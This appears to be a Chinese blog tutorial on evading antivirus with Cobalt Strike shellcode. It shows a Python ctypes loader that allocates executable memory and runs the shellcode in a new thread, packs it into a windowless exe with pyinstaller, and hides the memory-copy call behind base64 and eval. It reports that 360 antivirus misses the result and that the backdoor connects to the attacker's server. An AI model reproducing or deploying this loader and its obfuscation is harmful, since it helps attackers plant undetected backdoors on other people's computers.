python3處理shellcode
目前使用python3處理CS神器生成的shellcode免殺效果還是可以的;本章我們使用基于python3的腳本對shellcode做處理,生成exe后進行免殺,
python代碼
在這里插入代碼片
第一種
首先我們kali打開CS神器服務端

客戶端啟動

創建一個監聽器

使用CS神器生成python格式的payload

這里記得點擊使用64位的,點擊生成,查看生成的payload

我們使用python腳本
import ctypes
#shellcode加載
def shellCodeLoad(shellcode):
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == "__main__":
shellCodeLoad(bytearray(b'shellcode'))
在shellcode處將payload.py的64位shellcode粘貼過來
生成新的后門py檔案,將后門檔案通過pyinstaller打包成exe檔案
pyinstaller -F .\101.py --noconsole

成功執行
將其放到靶機上運行

我們看到是被殺掉了的,氣死我了,不著急,用第二種方法
第二種
打開我們的腳本可以看到這段代碼
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
這段代碼一般可能會被殺毒軟體給pass掉,所以我們對他進行base64編碼,再寫個解碼就好了
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
記得引入base64的包

繼續上面的方法,將shellcode復制進去,使用pyinstaller打包成exe檔案

將其放到靶機內測驗

顯示360是沒有查殺的,我們執行一下

我們看到CS神器里是上線成功的
放在https://www.virscan.org/上面看一下

我們看了一下這個免殺的效果還行,但是實際效果可能不是那么好,
后面的文章再給大家介紹其他的免殺方式,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/390564.html
標籤:其他
上一篇:ATT&CK實戰系列(二)
下一篇:原始碼加密產品設計理念的對比
